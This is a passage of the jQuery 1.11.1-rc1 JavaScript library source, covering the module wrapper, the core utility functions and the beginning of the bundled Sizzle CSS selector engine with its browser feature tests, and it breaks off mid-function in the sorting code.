*/
(function( global, factory ) {
if ( typeof module === "object" && typeof module.exports === "object" ) {
// For CommonJS and CommonJS-like environments where a proper window is present,
// execute the factory and get jQuery
// For environments that do not inherently posses a window with a document
// (such as Node.js), expose a jQuery-making factory as module.exports
// This accentuates the need for the creation of a real window
// e.g. var jQuery = require("jquery")(window);
// See ticket #14549 for more info
module.exports = global.document ?
factory( global, true ) :
function( w ) {
if ( !w.document ) {
throw new Error( "jQuery requires a window with a document" );
}
return factory( w );
};
} else {
factory( global );
}
// Pass this if window is not defined yet
}(typeof window !== "undefined" ? window : this, function( window, noGlobal ) {
// Can't do this because several apps including ASP.NET trace
// the stack via arguments.caller.callee and Firefox dies if
// you try to trace through "use strict" call chains. (#13335)
// Support: Firefox 18+
//
var deletedIds = [];
var slice = deletedIds.slice;
var concat = deletedIds.concat;
var push = deletedIds.push;
var indexOf = deletedIds.indexOf;
var class2type = {};
var toString = class2type.toString;
var hasOwn = class2type.hasOwnProperty;
var support = {};
var
version = "1.11.1-rc1",
// Define a local copy of jQuery
jQuery = function( selector, context ) {
// The jQuery object is actually just the init constructor 'enhanced'
// Need init if jQuery is called (just allow error to be thrown if not included)
return new jQuery.fn.init( selector, context );
},
// Support: Android<4.1, IE<9
// Make sure we trim BOM and NBSP
rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
// Matches dashed string for camelizing
rmsPrefix = /^-ms-/,
rdashAlpha = /-([\da-z])/gi,
// Used by jQuery.camelCase as callback to replace()
fcamelCase = function( all, letter ) {
return letter.toUpperCase();
};
jQuery.fn = jQuery.prototype = {
// The current version of jQuery being used
jquery: version,
constructor: jQuery,
// Start with an empty selector
selector: "",
// The default length of a jQuery object is 0
length: 0,
toArray: function() {
return slice.call( this );
},
// Get the Nth element in the matched element set OR
// Get the whole matched element set as a clean array
get: function( num ) {
return num != null ?
// Return just the one element from the set
( num < 0 ? this[ num + this.length ] : this[ num ] ) :
// Return all the elements in a clean array
slice.call( this );
},
// Take an array of elements and push it onto the stack
// (returning the new matched element set)
pushStack: function( elems ) {
// Build a new jQuery matched element set
var ret = jQuery.merge( this.constructor(), elems );
// Add the old object onto the stack (as a reference)
ret.prevObject = this;
ret.context = this.context;
// Return the newly-formed element set
return ret;
},
// Execute a callback for every element in the matched set.
// (You can seed the arguments with an array of args, but this is
// only used internally.)
each: function( callback, args ) {
return jQuery.each( this, callback, args );
},
map: function( callback ) {
return this.pushStack( jQuery.map(this, function( elem, i ) {
return callback.call( elem, i, elem );
}));
},
slice: function() {
return this.pushStack( slice.apply( this, arguments ) );
},
first: function() {
return this.eq( 0 );
},
last: function() {
return this.eq( -1 );
},
eq: function( i ) {
var len = this.length,
j = +i + ( i < 0 ? len : 0 );
return this.pushStack( j >= 0 && j < len ? [ this[j] ] : [] );
},
end: function() {
return this.prevObject || this.constructor(null);
},
// For internal use only.
// Behaves like an Array's method, not like a jQuery method.
push: push,
sort: deletedIds.sort,
splice: deletedIds.splice
};
jQuery.extend = jQuery.fn.extend = function() {
var src, copyIsArray, copy, name, options, clone,
target = arguments[0] || {},
i = 1,
length = arguments.length,
deep = false;
// Handle a deep copy situation
if ( typeof target === "boolean" ) {
deep = target;
// skip the boolean and the target
target = arguments[ i ] || {};
i++;
}
// Handle case when target is a string or something (possible in deep copy)
if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
target = {};
}
// extend jQuery itself if only one argument is passed
if ( i === length ) {
target = this;
i--;
}
for ( ; i < length; i++ ) {
// Only deal with non-null/undefined values
if ( (options = arguments[ i ]) != null ) {
// Extend the base object
for ( name in options ) {
src = target[ name ];
copy = options[ name ];
// Prevent never-ending loop
if ( target === copy ) {
continue;
}
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
if ( copyIsArray ) {
copyIsArray = false;
clone = src && jQuery.isArray(src) ? src : [];
} else {
clone = src && jQuery.isPlainObject(src) ? src : {};
}
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy );
// Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}
}
}
}
// Return the modified object
return target;
};
jQuery.extend({
// Unique for each copy of jQuery on the page
expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ),
// Assume jQuery is ready without the ready module
isReady: true,
error: function( msg ) {
throw new Error( msg );
},
noop: function() {},
// See test/unit/core.js for details concerning isFunction.
// Since version 1.3, DOM methods and functions like alert
// aren't supported. They return false on IE (#2968).
isFunction: function( obj ) {
return jQuery.type(obj) === "function";
},
isArray: Array.isArray || function( obj ) {
return jQuery.type(obj) === "array";
},
isWindow: function( obj ) {
/* jshint eqeqeq: false */
return obj != null && obj == obj.window;
},
isNumeric: function( obj ) {
// parseFloat NaNs numeric-cast false positives (null|true|false|"")
// ...but misinterprets leading-number strings, particularly hex literals ("0x...")
// subtraction forces infinities to NaN
return !jQuery.isArray( obj ) && obj - parseFloat( obj ) >= 0;
},
isEmptyObject: function( obj ) {
var name;
for ( name in obj ) {
return false;
}
return true;
},
isPlainObject: function( obj ) {
var key;
// Must be an Object.
// Because of IE, we also have to check the presence of the constructor property.
// Make sure that DOM nodes and window objects don't pass through, as well
if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) {
return false;
}
try {
// Not own constructor property must be Object
if ( obj.constructor &&
!hasOwn.call(obj, "constructor") &&
!hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) {
return false;
}
} catch ( e ) {
// IE8,9 Will throw exceptions on certain host objects #9897
return false;
}
// Support: IE<9
// Handle iteration over inherited properties before own properties.
if ( support.ownLast ) {
for ( key in obj ) {
return hasOwn.call( obj, key );
}
}
// Own properties are enumerated firstly, so to speed up,
// if last one is own, then all properties are own.
for ( key in obj ) {}
return key === undefined || hasOwn.call( obj, key );
},
type: function( obj ) {
if ( obj == null ) {
return obj + "";
}
return typeof obj === "object" || typeof obj === "function" ?
class2type[ toString.call(obj) ] || "object" :
typeof obj;
},
// Evaluates a script in a global context
// Workarounds based on findings by Jim Driscoll
// http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
globalEval: function( data ) {
if ( data && jQuery.trim( data ) ) {
// We use execScript on Internet Explorer
// We use an anonymous function so that context is window
// rather than jQuery in Firefox
( window.execScript || function( data ) {
window[ "eval" ].call( window, data );
} )( data );
}
},
// Convert dashed to camelCase; used by the css and data modules
// Microsoft forgot to hump their vendor prefix (#9572)
camelCase: function( string ) {
return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );
},
nodeName: function( elem, name ) {
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
},
// args is for internal usage only
each: function( obj, callback, args ) {
var value,
i = 0,
length = obj.length,
isArray = isArraylike( obj );
if ( args ) {
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback.apply( obj[ i ], args );
if ( value === false ) {
break;
}
}
} else {
for ( i in obj ) {
value = callback.apply( obj[ i ], args );
if ( value === false ) {
break;
}
}
}
// A special, fast, case for the most common use of each
} else {
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback.call( obj[ i ], i, obj[ i ] );
if ( value === false ) {
break;
}
}
} else {
for ( i in obj ) {
value = callback.call( obj[ i ], i, obj[ i ] );
if ( value === false ) {
break;
}
}
}
}
return obj;
},
// Support: Android<4.1, IE<9
trim: function( text ) {
return text == null ?
"" :
( text + "" ).replace( rtrim, "" );
},
// results is for internal usage only
makeArray: function( arr, results ) {
var ret = results || [];
if ( arr != null ) {
if ( isArraylike( Object(arr) ) ) {
jQuery.merge( ret,
typeof arr === "string" ?
[ arr ] : arr
);
} else {
push.call( ret, arr );
}
}
return ret;
},
inArray: function( elem, arr, i ) {
var len;
if ( arr ) {
if ( indexOf ) {
return indexOf.call( arr, elem, i );
}
len = arr.length;
i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0;
for ( ; i < len; i++ ) {
// Skip accessing in sparse arrays
if ( i in arr && arr[ i ] === elem ) {
return i;
}
}
}
return -1;
},
merge: function( first, second ) {
var len = +second.length,
j = 0,
i = first.length;
while ( j < len ) {
first[ i++ ] = second[ j++ ];
}
// Support: IE<9
// Workaround casting of .length to NaN on otherwise arraylike objects (e.g., NodeLists)
if ( len !== len ) {
while ( second[j] !== undefined ) {
first[ i++ ] = second[ j++ ];
}
}
first.length = i;
return first;
},
grep: function( elems, callback, invert ) {
var callbackInverse,
matches = [],
i = 0,
length = elems.length,
callbackExpect = !invert;
// Go through the array, only saving the items
// that pass the validator function
for ( ; i < length; i++ ) {
callbackInverse = !callback( elems[ i ], i );
if ( callbackInverse !== callbackExpect ) {
matches.push( elems[ i ] );
}
}
return matches;
},
// arg is for internal usage only
map: function( elems, callback, arg ) {
var value,
i = 0,
length = elems.length,
isArray = isArraylike( elems ),
ret = [];
// Go through the array, translating each of the items to their new values
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret.push( value );
}
}
// Go through every key on the object,
} else {
for ( i in elems ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret.push( value );
}
}
}
// Flatten any nested arrays
return concat.apply( [], ret );
},
// A global GUID counter for objects
guid: 1,
// Bind a function to a context, optionally partially applying any
// arguments.
proxy: function( fn, context ) {
var args, proxy, tmp;
if ( typeof context === "string" ) {
tmp = fn[ context ];
context = fn;
fn = tmp;
}
// Quick check to determine if target is callable, in the spec
// this throws a TypeError, but we will just return undefined.
if ( !jQuery.isFunction( fn ) ) {
return undefined;
}
// Simulated bind
args = slice.call( arguments, 2 );
proxy = function() {
return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
};
// Set the guid of unique handler to the same of original handler, so it can be removed
proxy.guid = fn.guid = fn.guid || jQuery.guid++;
return proxy;
},
now: function() {
return +( new Date() );
},
// jQuery.support is not used in Core but other projects attach their
// properties to it so it needs to exist.
support: support
});
// Populate the class2type map
jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
class2type[ "[object " + name + "]" ] = name.toLowerCase();
});
function isArraylike( obj ) {
var length = obj.length,
type = jQuery.type( obj );
if ( type === "function" || jQuery.isWindow( obj ) ) {
return false;
}
if ( obj.nodeType === 1 && length ) {
return true;
}
return type === "array" || length === 0 ||
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}
var Sizzle =
/*!
* Sizzle CSS Selector Engine v1.10.18
* http://sizzlejs.com/
*
* Copyright 2013 jQuery Foundation, Inc. and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2014-02-05
*/
(function( window ) {
var i,
support,
Expr,
getText,
isXML,
compile,
select,
outermostContext,
sortInput,
hasDuplicate,
// Local document vars
setDocument,
document,
docElem,
documentIsHTML,
rbuggyQSA,
rbuggyMatches,
matches,
contains,
// Instance-specific data
expando = "sizzle" + -(new Date()),
preferredDoc = window.document,
dirruns = 0,
done = 0,
classCache = createCache(),
tokenCache = createCache(),
compilerCache = createCache(),
sortOrder = function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
}
return 0;
},
// General-purpose constants
strundefined = typeof undefined,
MAX_NEGATIVE = 1 << 31,
// Instance methods
hasOwn = ({}).hasOwnProperty,
arr = [],
pop = arr.pop,
push_native = arr.push,
push = arr.push,
slice = arr.slice,
// Use a stripped-down indexOf if we can't use a native one
indexOf = arr.indexOf || function( elem ) {
var i = 0,
len = this.length;
for ( ; i < len; i++ ) {
if ( this[i] === elem ) {
return i;
}
}
return -1;
},
booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
// Regular expressions
// Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
whitespace = "[\\x20\\t\\r\\n\\f]",
// http://www.w3.org/TR/css3-syntax/#characters
characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
// Loosely modeled on CSS identifier characters
// An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors
// Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
identifier = characterEncoding.replace( "w", "w#" ),
// Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
"*(?:([*^$|!~]?=)" + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
// Prefer arguments quoted,
// then not containing pseudos/brackets,
// then attribute selectors/non-parenthetical expressions,
// then anything else
// These preferences are here to reduce the number of selectors
// needing tokenize in the PSEUDO preFilter
pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)",
// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
rpseudo = new RegExp( pseudos ),
ridentifier = new RegExp( "^" + identifier + "$" ),
matchExpr = {
"ID": new RegExp( "^#(" + characterEncoding + ")" ),
"CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
"TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
"ATTR": new RegExp( "^" + attributes ),
"PSEUDO": new RegExp( "^" + pseudos ),
"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
// For use in libraries implementing .is()
// We use this for POS matching in `select`
"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
},
rinputs = /^(?:input|select|textarea|button)$/i,
rheader = /^h\d$/i,
rnative = /^[^{]+\{\s*\[native \w/,
// Easily-parseable/retrievable ID or TAG or CLASS selectors
rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
rsibling = /[+~]/,
rescape = /'|\\/g,
// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
funescape = function( _, escaped, escapedWhitespace ) {
var high = "0x" + escaped - 0x10000;
// NaN means non-codepoint
// Support: Firefox<24
// Workaround erroneous numeric interpretation of +"0x"
return high !== high || escapedWhitespace ?
escaped :
high < 0 ?
// BMP codepoint
String.fromCharCode( high + 0x10000 ) :
// Supplemental Plane codepoint (surrogate pair)
String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
};
// Optimize for push.apply( _, NodeList )
try {
push.apply(
(arr = slice.call( preferredDoc.childNodes )),
preferredDoc.childNodes
);
// Support: Android<4.0
// Detect silently failing push.apply
arr[ preferredDoc.childNodes.length ].nodeType;
} catch ( e ) {
push = { apply: arr.length ?
// Leverage slice if possible
function( target, els ) {
push_native.apply( target, slice.call(els) );
} :
// Support: IE<9
// Otherwise append directly
function( target, els ) {
var j = target.length,
i = 0;
// Can't trust NodeList.length
while ( (target[j++] = els[i++]) ) {}
target.length = j - 1;
}
};
}
function Sizzle( selector, context, results, seed ) {
var match, elem, m, nodeType,
// QSA vars
i, groups, old, nid, newContext, newSelector;
if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
setDocument( context );
}
context = context || document;
results = results || [];
if ( !selector || typeof selector !== "string" ) {
return results;
}
if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {
return [];
}
if ( documentIsHTML && !seed ) {
// Shortcuts
if ( (match = rquickExpr.exec( selector )) ) {
// Speed-up: Sizzle("#ID")
if ( (m = match[1]) ) {
if ( nodeType === 9 ) {
elem = context.getElementById( m );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document (jQuery #6963)
if ( elem && elem.parentNode ) {
// Handle the case where IE, Opera, and Webkit return items
// by name instead of ID
if ( elem.id === m ) {
results.push( elem );
return results;
}
} else {
return results;
}
} else {
// Context is not a document
if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
contains( context, elem ) && elem.id === m ) {
results.push( elem );
return results;
}
}
// Speed-up: Sizzle("TAG")
} else if ( match[2] ) {
push.apply( results, context.getElementsByTagName( selector ) );
return results;
// Speed-up: Sizzle(".CLASS")
} else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) {
push.apply( results, context.getElementsByClassName( m ) );
return results;
}
}
// QSA path
if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
nid = old = expando;
newContext = context;
newSelector = nodeType === 9 && selector;
// qSA works strangely on Element-rooted queries
// We can work around this by specifying an extra ID on the root
// and working up from there (Thanks to Andrew Dupont for the technique)
// IE 8 doesn't work on object elements
if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
groups = tokenize( selector );
if ( (old = context.getAttribute("id")) ) {
nid = old.replace( rescape, "\\$&" );
} else {
context.setAttribute( "id", nid );
}
nid = "[id='" + nid + "'] ";
i = groups.length;
while ( i-- ) {
groups[i] = nid + toSelector( groups[i] );
}
newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;
newSelector = groups.join(",");
}
if ( newSelector ) {
try {
push.apply( results,
newContext.querySelectorAll( newSelector )
);
return results;
} catch(qsaError) {
} finally {
if ( !old ) {
context.removeAttribute("id");
}
}
}
}
}
// All others
return select( selector.replace( rtrim, "$1" ), context, results, seed );
}
/**
* Create key-value caches of limited size
* @returns {Function(string, Object)} Returns the Object data after storing it on itself with
* property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
* deleting the oldest entry
*/
function createCache() {
var keys = [];
function cache( key, value ) {
// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
if ( keys.push( key + " " ) > Expr.cacheLength ) {
// Only keep the most recent entries
delete cache[ keys.shift() ];
}
return (cache[ key + " " ] = value);
}
return cache;
}
/**
* Mark a function for special use by Sizzle
* @param {Function} fn The function to mark
*/
function markFunction( fn ) {
fn[ expando ] = true;
return fn;
}
/**
* Support testing using an element
* @param {Function} fn Passed the created div and expects a boolean result
*/
function assert( fn ) {
var div = document.createElement("div");
try {
return !!fn( div );
} catch (e) {
return false;
} finally {
// Remove from its parent by default
if ( div.parentNode ) {
div.parentNode.removeChild( div );
}
// release memory in IE
div = null;
}
}
/**
* Adds the same handler for all of the specified attrs
* @param {String} attrs Pipe-separated list of attributes
* @param {Function} handler The method that will be applied
*/
function addHandle( attrs, handler ) {
var arr = attrs.split("|"),
i = attrs.length;
while ( i-- ) {
Expr.attrHandle[ arr[i] ] = handler;
}
}
/**
* Checks document order of two siblings
* @param {Element} a
* @param {Element} b
* @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
*/
function siblingCheck( a, b ) {
var cur = b && a,
diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
( ~b.sourceIndex || MAX_NEGATIVE ) -
( ~a.sourceIndex || MAX_NEGATIVE );
// Use IE sourceIndex if available on both nodes
if ( diff ) {
return diff;
}
// Check if b follows a
if ( cur ) {
while ( (cur = cur.nextSibling) ) {
if ( cur === b ) {
return -1;
}
}
}
return a ? 1 : -1;
}
/**
* Returns a function to use in pseudos for input types
* @param {String} type
*/
function createInputPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === type;
};
}
/**
* Returns a function to use in pseudos for buttons
* @param {String} type
*/
function createButtonPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && elem.type === type;
};
}
/**
* Returns a function to use in pseudos for positionals
* @param {Function} fn
*/
function createPositionalPseudo( fn ) {
return markFunction(function( argument ) {
argument = +argument;
return markFunction(function( seed, matches ) {
var j,
matchIndexes = fn( [], seed.length, argument ),
i = matchIndexes.length;
// Match elements found at the specified indexes
while ( i-- ) {
if ( seed[ (j = matchIndexes[i]) ] ) {
seed[j] = !(matches[j] = seed[j]);
}
}
});
});
}
/**
* Checks a node for validity as a Sizzle context
* @param {Element|Object=} context
* @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
*/
function testContext( context ) {
return context && typeof context.getElementsByTagName !== strundefined && context;
}
// Expose support vars for convenience
support = Sizzle.support = {};
/**
* Detects XML nodes
* @param {Element|Object} elem An element or a document
* @returns {Boolean} True iff elem is a non-HTML XML node
*/
isXML = Sizzle.isXML = function( elem ) {
// documentElement is verified for cases where it doesn't yet exist
// (such as loading iframes in IE - #4833)
var documentElement = elem && (elem.ownerDocument || elem).documentElement;
return documentElement ? documentElement.nodeName !== "HTML" : false;
};
/**
* Sets document-related variables once based on the current document
* @param {Element|Object} [doc] An element or document object to use to set the document
* @returns {Object} Returns the current document
*/
setDocument = Sizzle.setDocument = function( node ) {
var hasCompare,
doc = node ? node.ownerDocument || node : preferredDoc,
parent = doc.defaultView;
// If no document and documentElement is available, return
if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
return document;
}
// Set our document
document = doc;
docElem = doc.documentElement;
// Support tests
documentIsHTML = !isXML( doc );
// Support: IE>8
// If iframe document is assigned to "document" variable and if iframe has been reloaded,
// IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936
// IE6-8 do not support the defaultView property so parent will be undefined
if ( parent && parent !== parent.top ) {
// IE11 does not have attachEvent, so all must suffer
if ( parent.addEventListener ) {
parent.addEventListener( "unload", function() {
setDocument();
}, false );
} else if ( parent.attachEvent ) {
parent.attachEvent( "onunload", function() {
setDocument();
});
}
}
/* Attributes
---------------------------------------------------------------------- */
// Support: IE<8
// Verify that getAttribute really returns attributes and not properties (excepting IE8 booleans)
support.attributes = assert(function( div ) {
div.className = "i";
return !div.getAttribute("className");
});
/* getElement(s)By*
---------------------------------------------------------------------- */
// Check if getElementsByTagName("*") returns only elements
support.getElementsByTagName = assert(function( div ) {
div.appendChild( doc.createComment("") );
return !div.getElementsByTagName("*").length;
});
// Check if getElementsByClassName can be trusted
support.getElementsByClassName = rnative.test( doc.getElementsByClassName ) && assert(function( div ) {
div.innerHTML = "<div class='a'></div><div class='a i'></div>";
// Support: Safari<4
// Catch class over-caching
div.firstChild.className = "i";
// Support: Opera<10
// Catch gEBCN failure to find non-leading classes
return div.getElementsByClassName("i").length === 2;
});
// Support: IE<10
// Check if getElementById returns elements by name
// The broken getElementById methods don't pick up programatically-set names,
// so use a roundabout getElementsByName test
support.getById = assert(function( div ) {
docElem.appendChild( div ).id = expando;
return !doc.getElementsByName || !doc.getElementsByName( expando ).length;
});
// ID find and filter
if ( support.getById ) {
Expr.find["ID"] = function( id, context ) {
if ( typeof context.getElementById !== strundefined && documentIsHTML ) {
var m = context.getElementById( id );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
return m && m.parentNode ? [m] : [];
}
};
Expr.filter["ID"] = function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
return elem.getAttribute("id") === attrId;
};
};
} else {
// Support: IE6/7
// getElementById is not reliable as a find shortcut
delete Expr.find["ID"];
Expr.filter["ID"] = function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
return node && node.value === attrId;
};
};
}
// Tag
Expr.find["TAG"] = support.getElementsByTagName ?
function( tag, context ) {
if ( typeof context.getElementsByTagName !== strundefined ) {
return context.getElementsByTagName( tag );
}
} :
function( tag, context ) {
var elem,
tmp = [],
i = 0,
results = context.getElementsByTagName( tag );
// Filter out possible comments
if ( tag === "*" ) {
while ( (elem = results[i++]) ) {
if ( elem.nodeType === 1 ) {
tmp.push( elem );
}
}
return tmp;
}
return results;
};
// Class
Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
if ( typeof context.getElementsByClassName !== strundefined && documentIsHTML ) {
return context.getElementsByClassName( className );
}
};
/* QSA/matchesSelector
---------------------------------------------------------------------- */
// QSA and matchesSelector support
// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
rbuggyMatches = [];
// qSa(:focus) reports false when true (Chrome 21)
// We allow this because of a bug in IE8/9 that throws an error
// whenever `document.activeElement` is accessed on an iframe
// So, we allow :focus to pass through QSA all the time to avoid the IE error
// See http://bugs.jquery.com/ticket/13378
rbuggyQSA = [];
if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {
// Build QSA regex
// Regex strategy adopted from Diego Perini
assert(function( div ) {
// Select is set to empty string on purpose
// This is to test IE's treatment of not explicitly
// setting a boolean content attribute,
// since its presence should be enough
// http://bugs.jquery.com/ticket/12359
div.innerHTML = "<select t=''><option selected=''></option></select>";
// Support: IE8, Opera 10-12
// Nothing should be selected when empty strings follow ^= or $= or *=
if ( div.querySelectorAll("[t^='']").length ) {
rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
}
// Support: IE8
// Boolean attributes and "value" are not treated correctly
if ( !div.querySelectorAll("[selected]").length ) {
rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
}
// Webkit/Opera - :checked should return selected option elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
// IE8 throws error here and will not see later tests
if ( !div.querySelectorAll(":checked").length ) {
rbuggyQSA.push(":checked");
}
});
assert(function( div ) {
// Support: Windows 8 Native Apps
// The type and name attributes are restricted during .innerHTML assignment
var input = doc.createElement("input");
input.setAttribute( "type", "hidden" );
div.appendChild( input ).setAttribute( "name", "D" );
// Support: IE8
// Enforce case-sensitivity of name attribute
if ( div.querySelectorAll("[name=d]").length ) {
rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
}
// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
// IE8 throws error here and will not see later tests
if ( !div.querySelectorAll(":enabled").length ) {
rbuggyQSA.push( ":enabled", ":disabled" );
}
// Opera 10-11 does not throw on post-comma invalid pseudos
div.querySelectorAll("*,:x");
rbuggyQSA.push(",.*:");
});
}
if ( (support.matchesSelector = rnative.test( (matches = docElem.webkitMatchesSelector ||
docElem.mozMatchesSelector ||
docElem.oMatchesSelector ||
docElem.msMatchesSelector) )) ) {
assert(function( div ) {
// Check to see if it's possible to do matchesSelector
// on a disconnected node (IE 9)
support.disconnectedMatch = matches.call( div, "div" );
// This should fail with an exception
// Gecko does not error, returns false instead
matches.call( div, "[s!='']:x" );
rbuggyMatches.push( "!=", pseudos );
});
}
rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
/* Contains
---------------------------------------------------------------------- */
hasCompare = rnative.test( docElem.compareDocumentPosition );
// Element contains another
// Purposefully does not implement inclusive descendent
// As in, an element does not contain itself
contains = hasCompare || rnative.test( docElem.contains ) ?
function( a, b ) {
var adown = a.nodeType === 9 ? a.documentElement : a,
bup = b && b.parentNode;
return a === bup || !!( bup && bup.nodeType === 1 && (
adown.contains ?
adown.contains( bup ) :
a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
));
} :
function( a, b ) {
if ( b ) {
while ( (b = b.parentNode) ) {
if ( b === a ) {
return true;
}
}
}
return false;
};
/* Sorting
---------------------------------------------------------------------- */
// Document order sorting
sortOrder = hasCompare ?
function( a, b ) {
// Flag for duplicate removal
if ( a === b ) {
hasDuplicate = true;
return 0;
}
// Sort on method existence if only one input has compareDocumentPosition
var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
if ( compare ) {
return compare;
}
// Calculate position if both inputs belong to the same document
compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
a.compareDocumentPosition( b ) :
// Otherwise we know they are disconnected
1;
// Disconnected nodes
if ( compare & 1 ||
(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
// Choose the first element that is related to our preferred document
if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
return -1;
}
if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
return 1;
}
// Maintain original order
return sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;
}
return compare & 4 ? -1 : 1;
} :
function( a, b ) {
// Exit early if the nodes are identical
if ( a === b ) {
hasDuplicate = true;
return 0;
}
var cur,
i = 0,
aup = a.parentNode,
bup = b.parentNode,
ap = [ a ],
bp = [ b ];
// Parentless nodes are either documents or disconnected
if ( !aup || !bup ) {
return a === doc ? -1 :
b === doc ? 1 :
aup ? -1 :
bup ? 1 :
sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;
// If the nodes are siblings, we can do a quick check
} else if ( aup === bup ) {
return siblingCheck( a, b );
}
// Otherwise we need full lists of their ancestors for comparison
cur = a;
while ( (cur = cur.parentNode) ) {
ap.unshift( cur );
}
cur = b;
while ( (cur = cur.parentNode) ) {
bp.unshift( cur );
}
// Walk down the tree looking for a discrepancy
while ( ap[i] === bp[i] ) {
i++;
}
return i ?
// Do a sibling check if the nodes have a common ancestor
